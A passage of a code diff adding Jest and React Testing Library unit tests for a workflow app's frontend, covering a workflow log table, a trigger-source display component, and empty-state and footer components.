|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
const rows = screen.getAllByRole('row')
|
||||
// First row is header, data rows start from index 1
|
||||
// In descending order, newest (3000) should be first
|
||||
expect(rows.length).toBe(4) // 1 header + 3 data rows
|
||||
})
|
||||
|
||||
it('should toggle sort order when clicking on start time header', async () => {
|
||||
const user = userEvent.setup()
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({ id: 'log-1', created_at: 1000 }),
|
||||
createMockWorkflowLog({ id: 'log-2', created_at: 2000 }),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
// Click on the start time header to toggle sort
|
||||
const startTimeHeader = screen.getByText('appLog.table.header.startTime')
|
||||
await user.click(startTimeHeader)
|
||||
|
||||
// Arrow should rotate (indicated by class change)
|
||||
// The sort icon should have rotate-180 class for ascending
|
||||
const sortIcon = startTimeHeader.closest('div')?.querySelector('svg')
|
||||
expect(sortIcon).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render sort arrow icon', () => {
|
||||
const logs = createMockLogsResponse([createMockWorkflowLog()])
|
||||
|
||||
const { container } = render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
// Check for ArrowDownIcon presence
|
||||
const sortArrow = container.querySelector('svg.ml-0\\.5')
|
||||
expect(sortArrow).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Drawer Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Drawer', () => {
|
||||
it('should open drawer when clicking on a log row', async () => {
|
||||
const user = userEvent.setup()
|
||||
useAppStore.setState({ appDetail: createMockApp({ id: 'app-123' }) })
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
id: 'log-1',
|
||||
workflow_run: createMockWorkflowRun({ id: 'run-456' }),
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
const dataRows = screen.getAllByRole('row')
|
||||
await user.click(dataRows[1]) // Click first data row
|
||||
|
||||
const dialog = await screen.findByRole('dialog')
|
||||
expect(dialog).toBeInTheDocument()
|
||||
expect(screen.getByText('appLog.runDetail.workflowTitle')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should close drawer and call onRefresh when closing', async () => {
|
||||
const user = userEvent.setup()
|
||||
const onRefresh = jest.fn()
|
||||
useAppStore.setState({ appDetail: createMockApp() })
|
||||
const logs = createMockLogsResponse([createMockWorkflowLog()])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={onRefresh} />,
|
||||
)
|
||||
|
||||
// Open drawer
|
||||
const dataRows = screen.getAllByRole('row')
|
||||
await user.click(dataRows[1])
|
||||
await screen.findByRole('dialog')
|
||||
|
||||
// Close drawer using Escape key
|
||||
await user.keyboard('{Escape}')
|
||||
|
||||
await waitFor(() => {
|
||||
expect(onRefresh).toHaveBeenCalled()
|
||||
expect(screen.queryByRole('dialog')).not.toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
it('should highlight selected row', async () => {
|
||||
const user = userEvent.setup()
|
||||
const logs = createMockLogsResponse([createMockWorkflowLog()])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
const dataRows = screen.getAllByRole('row')
|
||||
const dataRow = dataRows[1]
|
||||
|
||||
// Before click - no highlight
|
||||
expect(dataRow).not.toHaveClass('bg-background-default-hover')
|
||||
|
||||
// After click - has highlight (via currentLog state)
|
||||
await user.click(dataRow)
|
||||
|
||||
// The row should have the selected class
|
||||
expect(dataRow).toHaveClass('bg-background-default-hover')
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Replay Functionality Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Replay Functionality', () => {
|
||||
it('should allow replay when triggered from app-run', async () => {
|
||||
const user = userEvent.setup()
|
||||
useAppStore.setState({ appDetail: createMockApp({ id: 'app-replay' }) })
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
workflow_run: createMockWorkflowRun({
|
||||
id: 'run-to-replay',
|
||||
triggered_from: WorkflowRunTriggeredFrom.APP_RUN,
|
||||
}),
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
// Open drawer
|
||||
const dataRows = screen.getAllByRole('row')
|
||||
await user.click(dataRows[1])
|
||||
await screen.findByRole('dialog')
|
||||
|
||||
// Replay button should be present for app-run triggers
|
||||
const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
|
||||
await user.click(replayButton)
|
||||
|
||||
expect(mockRouterPush).toHaveBeenCalledWith('/app/app-replay/workflow?replayRunId=run-to-replay')
|
||||
})
|
||||
|
||||
it('should allow replay when triggered from debugging', async () => {
|
||||
const user = userEvent.setup()
|
||||
useAppStore.setState({ appDetail: createMockApp({ id: 'app-debug' }) })
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
workflow_run: createMockWorkflowRun({
|
||||
id: 'debug-run',
|
||||
triggered_from: WorkflowRunTriggeredFrom.DEBUGGING,
|
||||
}),
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
// Open drawer
|
||||
const dataRows = screen.getAllByRole('row')
|
||||
await user.click(dataRows[1])
|
||||
await screen.findByRole('dialog')
|
||||
|
||||
// Replay button should be present for debugging triggers
|
||||
const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
|
||||
expect(replayButton).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should not show replay for webhook triggers', async () => {
|
||||
const user = userEvent.setup()
|
||||
useAppStore.setState({ appDetail: createMockApp({ id: 'app-webhook' }) })
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
workflow_run: createMockWorkflowRun({
|
||||
id: 'webhook-run',
|
||||
triggered_from: WorkflowRunTriggeredFrom.WEBHOOK,
|
||||
}),
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
// Open drawer
|
||||
const dataRows = screen.getAllByRole('row')
|
||||
await user.click(dataRows[1])
|
||||
await screen.findByRole('dialog')
|
||||
|
||||
// Replay button should not be present for webhook triggers
|
||||
expect(screen.queryByRole('button', { name: 'appLog.runDetail.testWithParams' })).not.toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Unread Indicator Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Unread Indicator', () => {
|
||||
it('should show unread indicator for unread logs', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
read_at: undefined,
|
||||
}),
|
||||
])
|
||||
|
||||
const { container } = render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
// Unread indicator is a small blue dot
|
||||
const unreadDot = container.querySelector('.bg-util-colors-blue-blue-500')
|
||||
expect(unreadDot).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should not show unread indicator for read logs', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
read_at: Date.now(),
|
||||
}),
|
||||
])
|
||||
|
||||
const { container } = render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
// No unread indicator
|
||||
const unreadDot = container.querySelector('.bg-util-colors-blue-blue-500')
|
||||
expect(unreadDot).not.toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Runtime Display Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Runtime Display', () => {
|
||||
it('should display elapsed time with 3 decimal places', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
workflow_run: createMockWorkflowRun({ elapsed_time: 1.23456 }),
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.getByText('1.235s')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should display 0 elapsed time with special styling', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
workflow_run: createMockWorkflowRun({ elapsed_time: 0 }),
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
const zeroTime = screen.getByText('0.000s')
|
||||
expect(zeroTime).toBeInTheDocument()
|
||||
expect(zeroTime).toHaveClass('text-text-quaternary')
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Token Display Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Token Display', () => {
|
||||
it('should display total tokens', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
workflow_run: createMockWorkflowRun({ total_tokens: 12345 }),
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.getByText('12345')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Empty State Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Empty State', () => {
|
||||
it('should render empty table when logs data is empty', () => {
|
||||
const logs = createMockLogsResponse([])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
const table = screen.getByRole('table')
|
||||
expect(table).toBeInTheDocument()
|
||||
|
||||
// Should only have header row
|
||||
const rows = screen.getAllByRole('row')
|
||||
expect(rows).toHaveLength(1)
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Edge Cases (REQUIRED)
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Edge Cases', () => {
|
||||
it('should handle multiple logs correctly', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({ id: 'log-1', created_at: 1000 }),
|
||||
createMockWorkflowLog({ id: 'log-2', created_at: 2000 }),
|
||||
createMockWorkflowLog({ id: 'log-3', created_at: 3000 }),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
const rows = screen.getAllByRole('row')
|
||||
expect(rows).toHaveLength(4) // 1 header + 3 data rows
|
||||
})
|
||||
|
||||
it('should handle logs with missing workflow_run data gracefully', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
workflow_run: createMockWorkflowRun({
|
||||
elapsed_time: 0,
|
||||
total_tokens: 0,
|
||||
}),
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.getByText('0.000s')).toBeInTheDocument()
|
||||
expect(screen.getByText('0')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should handle null workflow_run.triggered_from for non-workflow apps', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
workflow_run: createMockWorkflowRun({
|
||||
triggered_from: undefined as any,
|
||||
}),
|
||||
}),
|
||||
])
|
||||
const chatApp = createMockApp({ mode: 'advanced-chat' as AppModeEnum })
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={chatApp} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
// Should render without trigger column
|
||||
expect(screen.queryByText('appLog.table.header.triggered_from')).not.toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,377 @@
|
|||
/**
|
||||
* TriggerByDisplay Component Tests
|
||||
*
|
||||
* Tests the display of workflow trigger sources with appropriate icons and labels.
|
||||
* Covers all trigger types: app-run, debugging, webhook, schedule, plugin, rag-pipeline.
|
||||
*/
|
||||
|
||||
import { render, screen } from '@testing-library/react'
|
||||
import TriggerByDisplay from './trigger-by-display'
|
||||
import { WorkflowRunTriggeredFrom } from '@/models/log'
|
||||
import type { TriggerMetadata } from '@/models/log'
|
||||
import { Theme } from '@/types/app'
|
||||
|
||||
// ============================================================================
|
||||
// Mocks
|
||||
// ============================================================================
|
||||
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => key,
|
||||
}),
|
||||
}))
|
||||
|
||||
let mockTheme = Theme.light
|
||||
jest.mock('@/hooks/use-theme', () => ({
|
||||
__esModule: true,
|
||||
default: () => ({ theme: mockTheme }),
|
||||
}))
|
||||
|
||||
// Mock BlockIcon as it has complex dependencies
|
||||
jest.mock('@/app/components/workflow/block-icon', () => ({
|
||||
__esModule: true,
|
||||
default: ({ type, toolIcon }: { type: string; toolIcon?: string }) => (
|
||||
<div data-testid="block-icon" data-type={type} data-tool-icon={toolIcon || ''}>
|
||||
BlockIcon
|
||||
</div>
|
||||
),
|
||||
}))
|
||||
|
||||
// ============================================================================
|
||||
// Test Data Factories
|
||||
// ============================================================================
|
||||
|
||||
const createTriggerMetadata = (overrides: Partial<TriggerMetadata> = {}): TriggerMetadata => ({
|
||||
...overrides,
|
||||
})
|
||||
|
||||
// ============================================================================
|
||||
// Tests
|
||||
// ============================================================================
|
||||
|
||||
describe('TriggerByDisplay', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
mockTheme = Theme.light
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Rendering Tests (REQUIRED)
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Rendering', () => {
|
||||
it('should render without crashing', () => {
|
||||
render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
|
||||
|
||||
expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render icon container', () => {
|
||||
const { container } = render(
|
||||
<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />,
|
||||
)
|
||||
|
||||
// Should have icon container with flex layout
|
||||
const iconContainer = container.querySelector('.flex.items-center.justify-center')
|
||||
expect(iconContainer).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Props Tests (REQUIRED)
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Props', () => {
|
||||
it('should apply custom className', () => {
|
||||
const { container } = render(
|
||||
<TriggerByDisplay
|
||||
triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN}
|
||||
className="custom-class"
|
||||
/>,
|
||||
)
|
||||
|
||||
const wrapper = container.firstChild as HTMLElement
|
||||
expect(wrapper).toHaveClass('custom-class')
|
||||
})
|
||||
|
||||
it('should show text by default (showText defaults to true)', () => {
|
||||
render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
|
||||
|
||||
expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should hide text when showText is false', () => {
|
||||
render(
|
||||
<TriggerByDisplay
|
||||
triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN}
|
||||
showText={false}
|
||||
/>,
|
||||
)
|
||||
|
||||
expect(screen.queryByText('appLog.triggerBy.appRun')).not.toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Trigger Type Display Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Trigger Types', () => {
|
||||
it('should display app-run trigger correctly', () => {
|
||||
render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
|
||||
|
||||
expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should display debugging trigger correctly', () => {
|
||||
render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.DEBUGGING} />)
|
||||
|
||||
expect(screen.getByText('appLog.triggerBy.debugging')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should display webhook trigger correctly', () => {
|
||||
render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.WEBHOOK} />)
|
||||
|
||||
expect(screen.getByText('appLog.triggerBy.webhook')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should display schedule trigger correctly', () => {
|
||||
render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.SCHEDULE} />)
|
||||
|
||||
expect(screen.getByText('appLog.triggerBy.schedule')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should display plugin trigger correctly', () => {
|
||||
render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN} />)
|
||||
|
||||
expect(screen.getByText('appLog.triggerBy.plugin')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should display rag-pipeline-run trigger correctly', () => {
|
||||
render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.RAG_PIPELINE_RUN} />)
|
||||
|
||||
expect(screen.getByText('appLog.triggerBy.ragPipelineRun')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should display rag-pipeline-debugging trigger correctly', () => {
|
||||
render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.RAG_PIPELINE_DEBUGGING} />)
|
||||
|
||||
expect(screen.getByText('appLog.triggerBy.ragPipelineDebugging')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Plugin Metadata Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Plugin Metadata', () => {
|
||||
it('should display custom event name from plugin metadata', () => {
|
||||
const metadata = createTriggerMetadata({ event_name: 'Custom Plugin Event' })
|
||||
|
||||
render(
|
||||
<TriggerByDisplay
|
||||
triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
|
||||
triggerMetadata={metadata}
|
||||
/>,
|
||||
)
|
||||
|
||||
expect(screen.getByText('Custom Plugin Event')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should fallback to default plugin text when no event_name', () => {
|
||||
const metadata = createTriggerMetadata({})
|
||||
|
||||
render(
|
||||
<TriggerByDisplay
|
||||
triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
|
||||
triggerMetadata={metadata}
|
||||
/>,
|
||||
)
|
||||
|
||||
expect(screen.getByText('appLog.triggerBy.plugin')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should use plugin icon from metadata in light theme', () => {
|
||||
mockTheme = Theme.light
|
||||
const metadata = createTriggerMetadata({ icon: 'light-icon.png', icon_dark: 'dark-icon.png' })
|
||||
|
||||
render(
|
||||
<TriggerByDisplay
|
||||
triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
|
||||
triggerMetadata={metadata}
|
||||
/>,
|
||||
)
|
||||
|
||||
const blockIcon = screen.getByTestId('block-icon')
|
||||
expect(blockIcon).toHaveAttribute('data-tool-icon', 'light-icon.png')
|
||||
})
|
||||
|
||||
it('should use dark plugin icon in dark theme', () => {
|
||||
mockTheme = Theme.dark
|
||||
const metadata = createTriggerMetadata({ icon: 'light-icon.png', icon_dark: 'dark-icon.png' })
|
||||
|
||||
render(
|
||||
<TriggerByDisplay
|
||||
triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
|
||||
triggerMetadata={metadata}
|
||||
/>,
|
||||
)
|
||||
|
||||
const blockIcon = screen.getByTestId('block-icon')
|
||||
expect(blockIcon).toHaveAttribute('data-tool-icon', 'dark-icon.png')
|
||||
})
|
||||
|
||||
it('should fallback to light icon when dark icon not available in dark theme', () => {
|
||||
mockTheme = Theme.dark
|
||||
const metadata = createTriggerMetadata({ icon: 'light-icon.png' })
|
||||
|
||||
render(
|
||||
<TriggerByDisplay
|
||||
triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
|
||||
triggerMetadata={metadata}
|
||||
/>,
|
||||
)
|
||||
|
||||
const blockIcon = screen.getByTestId('block-icon')
|
||||
expect(blockIcon).toHaveAttribute('data-tool-icon', 'light-icon.png')
|
||||
})
|
||||
|
||||
it('should use default BlockIcon when plugin has no icon metadata', () => {
|
||||
const metadata = createTriggerMetadata({})
|
||||
|
||||
render(
|
||||
<TriggerByDisplay
|
||||
triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
|
||||
triggerMetadata={metadata}
|
||||
/>,
|
||||
)
|
||||
|
||||
const blockIcon = screen.getByTestId('block-icon')
|
||||
expect(blockIcon).toHaveAttribute('data-tool-icon', '')
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Icon Rendering Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Icon Rendering', () => {
|
||||
it('should render WindowCursor icon for app-run trigger', () => {
|
||||
const { container } = render(
|
||||
<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />,
|
||||
)
|
||||
|
||||
// Check for the blue brand background used for app-run icon
|
||||
const iconWrapper = container.querySelector('.bg-util-colors-blue-brand-blue-brand-500')
|
||||
expect(iconWrapper).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render Code icon for debugging trigger', () => {
|
||||
const { container } = render(
|
||||
<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.DEBUGGING} />,
|
||||
)
|
||||
|
||||
// Check for the blue background used for debugging icon
|
||||
const iconWrapper = container.querySelector('.bg-util-colors-blue-blue-500')
|
||||
expect(iconWrapper).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render WebhookLine icon for webhook trigger', () => {
|
||||
const { container } = render(
|
||||
<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.WEBHOOK} />,
|
||||
)
|
||||
|
||||
// Check for the blue background used for webhook icon
|
||||
const iconWrapper = container.querySelector('.bg-util-colors-blue-blue-500')
|
||||
expect(iconWrapper).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render Schedule icon for schedule trigger', () => {
|
||||
const { container } = render(
|
||||
<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.SCHEDULE} />,
|
||||
)
|
||||
|
||||
// Check for the violet background used for schedule icon
|
||||
const iconWrapper = container.querySelector('.bg-util-colors-violet-violet-500')
|
||||
expect(iconWrapper).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render KnowledgeRetrieval icon for rag-pipeline triggers', () => {
|
||||
const { container } = render(
|
||||
<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.RAG_PIPELINE_RUN} />,
|
||||
)
|
||||
|
||||
// Check for the green background used for rag pipeline icon
|
||||
const iconWrapper = container.querySelector('.bg-util-colors-green-green-500')
|
||||
expect(iconWrapper).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Edge Cases (REQUIRED)
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Edge Cases', () => {
|
||||
it('should handle unknown trigger type gracefully', () => {
|
||||
// Test with a type cast to simulate unknown trigger type
|
||||
render(<TriggerByDisplay triggeredFrom={'unknown-type' as WorkflowRunTriggeredFrom} />)
|
||||
|
||||
// Should fallback to default (app-run) icon styling
|
||||
expect(screen.getByText('unknown-type')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should handle undefined triggerMetadata', () => {
|
||||
render(
|
||||
<TriggerByDisplay
|
||||
triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
|
||||
triggerMetadata={undefined}
|
||||
/>,
|
||||
)
|
||||
|
||||
expect(screen.getByText('appLog.triggerBy.plugin')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should handle empty className', () => {
|
||||
const { container } = render(
|
||||
<TriggerByDisplay
|
||||
triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN}
|
||||
className=""
|
||||
/>,
|
||||
)
|
||||
|
||||
const wrapper = container.firstChild as HTMLElement
|
||||
expect(wrapper).toHaveClass('flex', 'items-center', 'gap-1.5')
|
||||
})
|
||||
|
||||
it('should render correctly when both showText is false and metadata is provided', () => {
|
||||
const metadata = createTriggerMetadata({ event_name: 'Test Event' })
|
||||
|
||||
render(
|
||||
<TriggerByDisplay
|
||||
triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
|
||||
triggerMetadata={metadata}
|
||||
showText={false}
|
||||
/>,
|
||||
)
|
||||
|
||||
// Text should not be visible even with metadata
|
||||
expect(screen.queryByText('Test Event')).not.toBeInTheDocument()
|
||||
expect(screen.queryByText('appLog.triggerBy.plugin')).not.toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Theme Switching Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Theme Switching', () => {
|
||||
it('should render correctly in light theme', () => {
|
||||
mockTheme = Theme.light
|
||||
|
||||
render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
|
||||
|
||||
expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render correctly in dark theme', () => {
|
||||
mockTheme = Theme.dark
|
||||
|
||||
render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
|
||||
|
||||
expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
})
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,60 @@
|
|||
import React from 'react'
|
||||
import { render, screen } from '@testing-library/react'
|
||||
import Empty from './empty'
|
||||
|
||||
// Mock react-i18next - return key as per testing skills
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => key,
|
||||
}),
|
||||
}))
|
||||
|
||||
describe('Empty', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
describe('Rendering', () => {
|
||||
it('should render without crashing', () => {
|
||||
render(<Empty />)
|
||||
expect(screen.getByText('app.newApp.noAppsFound')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render 36 placeholder cards', () => {
|
||||
const { container } = render(<Empty />)
|
||||
const placeholderCards = container.querySelectorAll('.bg-background-default-lighter')
|
||||
expect(placeholderCards).toHaveLength(36)
|
||||
})
|
||||
|
||||
it('should display the no apps found message', () => {
|
||||
render(<Empty />)
|
||||
// Use pattern matching for resilient text assertions
|
||||
expect(screen.getByText('app.newApp.noAppsFound')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Styling', () => {
|
||||
it('should have correct container styling for overlay', () => {
|
||||
const { container } = render(<Empty />)
|
||||
const overlay = container.querySelector('.pointer-events-none')
|
||||
expect(overlay).toBeInTheDocument()
|
||||
expect(overlay).toHaveClass('absolute', 'inset-0', 'z-20')
|
||||
})
|
||||
|
||||
it('should have correct styling for placeholder cards', () => {
|
||||
const { container } = render(<Empty />)
|
||||
const card = container.querySelector('.bg-background-default-lighter')
|
||||
expect(card).toHaveClass('inline-flex', 'h-[160px]', 'rounded-xl')
|
||||
})
|
||||
})
|
||||
|
||||
describe('Edge Cases', () => {
|
||||
it('should handle multiple renders without issues', () => {
|
||||
const { rerender } = render(<Empty />)
|
||||
expect(screen.getByText('app.newApp.noAppsFound')).toBeInTheDocument()
|
||||
|
||||
rerender(<Empty />)
|
||||
expect(screen.getByText('app.newApp.noAppsFound')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,101 @@
|
|||
import React from 'react'
|
||||
import { render, screen } from '@testing-library/react'
|
||||
import Footer from './footer'
|
||||
|
||||
// Mock react-i18next - return key as per testing skills
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => key,
|
||||
}),
|
||||
}))
|
||||
|
||||
describe('Footer', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
describe('Rendering', () => {
|
||||
it('should render without crashing', () => {
|
||||
render(<Footer />)
|
||||
expect(screen.getByRole('contentinfo')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should display the community heading', () => {
|
||||
render(<Footer />)
|
||||
// Use pattern matching for resilient text assertions
|
||||
expect(screen.getByText('app.join')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should display the community intro text', () => {
|
||||
render(<Footer />)
|
||||
expect(screen.getByText('app.communityIntro')).toBeInTheDocument()
|
||||
})
|
||||
})
|
